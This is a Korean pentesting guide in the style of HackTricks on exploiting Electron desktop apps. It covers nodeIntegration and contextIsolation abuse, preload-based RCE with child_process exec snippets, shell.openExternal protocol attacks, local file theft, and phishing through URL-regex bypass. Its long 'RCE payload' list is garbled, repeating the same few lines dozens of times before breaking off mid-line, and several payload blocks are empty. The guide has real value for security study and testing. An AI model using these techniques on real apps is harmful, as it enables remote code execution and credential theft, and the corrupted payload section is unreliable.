# Electron 데스크톱 앱
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! HackTricks를 지원하는 다른 방법: * **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. * 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요. * **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요.
## 소개 Electron은 로컬 백엔드(NodeJS)와 프론트엔드(Chromium)를 결합한 것입니다. 그러나 현대 브라우저의 일부 보안 메커니즘을 누락하고 있습니다. 일반적으로 electron 앱 코드는 `.asar` 애플리케이션 내에 있으며, 코드를 얻기 위해 추출해야 합니다: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` Electron 앱의 소스 코드에서 `packet.json` 내부에는 보안 설정이 지정된 `main.js` 파일을 찾을 수 있습니다. ```json { "name": "standard-notes", "main": "./app/index.js", ``` Electron에는 2개의 프로세스 유형이 있습니다: * 메인 프로세스 (NodeJS에 대한 완전한 액세스 권한을 가짐) * 렌더러 프로세스 (보안상의 이유로 NodeJS 액세스가 제한되어야 함) ![](<../../../.gitbook/assets/image (307) (5) (1).png>) **렌더러 프로세스**는 파일을 로드하는 브라우저 창입니다: ```javascript const {BrowserWindow} = require('electron'); let win = new BrowserWindow(); //Open Renderer Process win.loadURL(`file://path/to/index.html`); ``` **렌더러 프로세스**의 설정은 main.js 파일 내부의 **메인 프로세스**에서 **구성**할 수 있습니다. 일부 구성은 **설정이 올바르게 구성되어 있다면** Electron 애플리케이션이 RCE나 다른 취약점을 얻지 못하도록 합니다. Electron 애플리케이션은 Node API를 통해 기기에 액세스할 수 있지만 다음과 같이 구성하여 액세스를 방지할 수 있습니다: * **`nodeIntegration`** - 기본적으로 `off`입니다. 켜면 렌더러 프로세스에서 Node 기능에 액세스할 수 있습니다. * **`contextIsolation`** - 기본적으로 `on`입니다. 켜면 메인과 렌더러 프로세스가 격리되지 않습니다. * **`preload`** - 기본적으로 비어 있습니다. * [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 기본적으로 꺼져 있습니다. 이를 통해 NodeJS가 수행할 수 있는 작업이 제한됩니다. * Workers에서의 Node 통합 * **`nodeIntegrationInSubframes`** - 기본적으로 `off`입니다. * **`nodeIntegration`**이 **활성화**되면 Electron 애플리케이션 내에서 **iframe에 로드된 웹 페이지에서 Node.js API를 사용**할 수 있습니다. * **`nodeIntegration`**이 **비활성화**되면 프리로드가 iframe에 로드됩니다. 구성 예시: ```javascript const mainWindowOptions = { title: 'Discord', backgroundColor: getBackgroundColor(), width: DEFAULT_WIDTH, height: DEFAULT_HEIGHT, minWidth: MIN_WIDTH, minHeight: MIN_HEIGHT, transparent: false, frame: false, resizable: true, show: isVisible, webPreferences: { blinkFeatures: 'EnumerateDevices,AudioOutputDevices', nodeIntegration: false, contextIsolation: false, sandbox: false, nodeIntegrationInSubFrames: false, preload: _path2.default.join(__dirname, 'mainScreenPreload.js'), nativeWindowOpen: true, enableRemoteModule: false, spellcheck: true } }; ``` 다음은 [여기](https://7as.es/electron/nodeIntegration\_rce.txt)에서 가져온 **원격 코드 실행(RCE) 페이로드** 몇 가지입니다: ```plaintext - **Command Injection**: - `require('child_process').exec('COMMAND')` - `require('child_process').execSync('COMMAND')` - `require('child_process').spawn('COMMAND')` - `require('child_process').spawnSync('COMMAND')` - `require('child_process').execFile('COMMAND')` - `require('child_process').execFileSync('COMMAND')` - `require('child_process').execSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').spawnSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', (error, stdout, stderr) => {})` - `require('child_process').execFile('COMMAND', (error, stdout, stderr) => {})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFile('COMMAND', {stdio: 'inherit'})` - `require('child_process').execFileSync('COMMAND', {stdio: 'inherit'})` - `require('child_process').exec('COMMAND', ```html Example Payloads (Windows): Example Payloads (Linux & MacOS): ``` ### 트래픽 캡처 start-main 설정을 수정하여 프록시 사용을 추가합니다. 다음과 같이 프록시를 사용할 수 있습니다: ```javascript "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", ``` ## Electron 로컬 코드 삽입 Electron 앱을 로컬에서 실행할 수 있다면 임의의 JavaScript 코드를 실행할 수 있습니다. 다음에서 확인하세요: {% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %} [macos-electron-applications-injection.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md) {% endcontent-ref %} ## RCE: XSS + nodeIntegration 만약 **nodeIntegration**이 **on**으로 설정되어 있다면, 웹 페이지의 JavaScript는 `require()`를 호출함으로써 쉽게 Node.js 기능을 사용할 수 있습니다. 예를 들어, Windows에서 calc 애플리케이션을 실행하는 방법은 다음과 같습니다: ```html ```
## RCE: preload 이 설정에 표시된 스크립트는 렌더러에서 다른 스크립트보다 **먼저 로드**되므로 **Node API에 무제한 액세스**가 가능합니다: ```javascript new BrowserWindow{ webPreferences: { nodeIntegration: false, preload: _path2.default.join(__dirname, 'perload.js'), } }); ``` 따라서, 스크립트는 노드 기능을 페이지로 내보낼 수 있습니다: {% code title="preload.js" %} ```javascript typeof require === 'function'; window.runCalc = function(){ require('child_process').exec('calc') }; ``` {% code title="index.html" %} ```html ``` {% endcode %} {% hint style="info" %} **`contextIsolation`이 켜져 있으면 작동하지 않습니다.** {% endhint %} ## RCE: XSS + contextIsolation _**contextIsolation**_은 **웹 페이지 스크립트와 JavaScript Electron의 내부 코드 간에 분리된 컨텍스트**를 도입하여 각 코드의 JavaScript 실행이 서로에게 영향을 주지 않도록 합니다. 이는 RCE 가능성을 제거하기 위한 필수 기능입니다. 컨텍스트가 분리되지 않은 경우 공격자는 다음을 수행할 수 있습니다: 1. 렌더러에서 **임의의 JavaScript 실행** (XSS 또는 외부 사이트로의 이동) 2. preload 또는 Electron 내부 코드에서 사용되는 **내장 메소드 덮어쓰기** 3. **덮어쓴 함수의 사용** 유도 4. RCE? 내장 메소드를 덮어쓸 수 있는 곳은 2곳 있습니다: preload 코드 또는 Electron 내부 코드에서: {% content-ref url="electron-contextisolation-rce-via-preload-code.md" %} [electron-contextisolation-rce-via-preload-code.md](electron-contextisolation-rce-via-preload-code.md) {% endcontent-ref %} {% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %} [electron-contextisolation-rce-via-electron-internal-code.md](electron-contextisolation-rce-via-electron-internal-code.md) {% endcontent-ref %} {% content-ref url="electron-contextisolation-rce-via-ipc.md" %} [electron-contextisolation-rce-via-ipc.md](electron-contextisolation-rce-via-ipc.md) {% endcontent-ref %} ### 클릭 이벤트 우회 링크를 클릭할 때 제한이 적용되어 있는 경우 일반적인 왼쪽 클릭 대신 **중간 클릭**을 수행하여 우회할 수 있을 수 있습니다. ```javascript window.addEventListener('click', (e) => { ``` ## shell.openExternal을 통한 원격 코드 실행 (RCE) 이 예제에 대한 자세한 내용은 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 및 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)에서 확인할 수 있습니다. Electron 데스크톱 애플리케이션을 배포할 때, `nodeIntegration` 및 `contextIsolation`의 올바른 설정을 보장하는 것이 중요합니다. 이러한 설정이 적용되면, preload 스크립트나 Electron의 메인 프로세스에서 클라이언트 측 원격 코드 실행 (RCE)을 효과적으로 방지할 수 있습니다. 사용자가 링크를 상호작용하거나 새 창을 열 때, 특정 이벤트 리스너가 트리거되며, 이는 애플리케이션의 보안과 기능에 중요합니다: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` 이러한 리스너는 데스크톱 애플리케이션에 의해 **덮어쓰여지며**, **비즈니스 로직**을 구현하기 위해 사용됩니다. 애플리케이션은 탐색된 링크가 내부적으로 열려야 할지 외부 웹 브라우저에서 열려야 할지를 판단합니다. 이 결정은 일반적으로 `openInternally` 함수를 통해 이루어집니다. 이 함수가 `false`를 반환하면, 링크는 `shell.openExternal` 함수를 사용하여 외부에서 열리도록 설정됩니다. **다음은 단순화된 의사 코드입니다:** ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../.gitbook/assets/image (638) (2) (1) (1).png>) ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../.gitbook/assets/image (620).png>) Electron JS 보안 모범 사례는 `openExternal` 함수를 통해 신뢰할 수 없는 콘텐츠를 받아들이지 않는 것을 권장합니다. 이는 다양한 프로토콜을 통해 RCE(원격 코드 실행)로 이어질 수 있기 때문입니다. 운영 체제는 RCE를 유발할 수 있는 다양한 프로토콜을 지원합니다. 이 주제에 대한 자세한 예시와 설명은 [이 자료](https://positive.security/blog/url-open-rce#windows-10-19042)를 참조할 수 있습니다. 해당 자료에는 이 취약점을 악용할 수 있는 Windows 프로토콜 예시가 포함되어 있습니다. **Windows 프로토콜 취약점 예시:** ```html ``` ## 내부 파일 읽기: XSS + contextIsolation `contextIsolation`을 비활성화하면 `` 태그를 사용하여 로컬 파일을 읽고 유출할 수 있습니다. 다음은 이 취약점을 악용하여 내부 파일의 내용을 읽는 방법을 보여주는 예시입니다: ![](../../../.gitbook/assets/1-u1jdryuwaevwjmf_f2ttjg.png) 또한, Electron 데스크톱 앱에서 **내부 파일을 읽는** 또 다른 방법이 공유되었습니다. 이는 애플리케이션을 악용하고 데이터를 유출하기 위해 스크립트를 주입하는 것을 포함합니다: ```html



pwn
``` ## **RCE: XSS + 오래된 Chromium** 만약 애플리케이션에서 사용하는 **chromium**이 **오래되었고** 그 위에 **알려진 취약점**이 있다면, XSS를 통해 RCE를 얻을 수도 있습니다.\ 이 **writeup**에서 예제를 볼 수 있습니다: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) ## **내부 URL 정규식 우회를 통한 XSS 피싱** XSS를 찾았지만 **RCE를 실행하거나 내부 파일을 도용할 수 없는 경우**, 이를 이용하여 **피싱을 통해 자격증명을 도용**해 볼 수 있습니다. 먼저, 프론트엔드의 JS 코드를 확인하여 새로운 URL을 열려고 할 때 어떤 일이 발생하는지 알아야 합니다: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) ``` **`openInternally`** 함수 호출은 링크가 플랫폼에 속하는 링크인 경우 **데스크톱 창에서 열지** 아니면 **3rd party 자원으로 브라우저에서 열지**를 결정합니다. 함수에서 사용하는 **정규식**이 우회를 허용하는 취약점을 가지고 있다면 (예: 서브도메인의 점을 이스케이프하지 않음), 공격자는 XSS를 악용하여 사용자에게 자격 증명을 요청하는 **공격자의 인프라에 위치한 새 창을 열 수 있습니다**: ```html ``` ## **도구** * [**Electronegativity**](https://github.com/doyensec/electronegativity)는 Electron 기반 애플리케이션에서 구성 오류와 보안 안티 패턴을 식별하는 도구입니다. * [**Electrolint**](https://github.com/ksdmitrieva/electrolint)는 Electronegativity를 사용하는 Electron 애플리케이션을 위한 오픈 소스 VS Code 플러그인입니다. * [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)은 취약한 타사 라이브러리를 확인하기 위한 도구입니다. * [**Electro.ng**](https://electro.ng/): 구매해야 합니다. ## 랩 [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s)에서 취약한 Electron 앱을 공격하는 랩을 찾을 수 있습니다. 랩을 수행하는 데 도움이 될 몇 가지 명령어: ```bash # Download apps from these URls # Vuln to nodeIntegration https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip # Vuln to contextIsolation via preload script https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip # Vuln to IPC Rce https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip # Get inside the electron app and check for vulnerabilities npm audit # How to use electronegativity npm install @doyensec/electronegativity -g electronegativity -i vulnerable1 # Run an application from source code npm install -g electron cd vulnerable1 npm install npm start ``` ## **참고 자료** * [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028) * [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d) * [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8) * [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg) * [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s) * Electron 보안에 대한 더 많은 연구 및 기고는 [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)에서 확인할 수 있습니다. * [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! HackTricks를 지원하는 다른 방법: * **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. * 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** 팔로우하세요. * **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 자신의 해킹 기술을 공유하세요.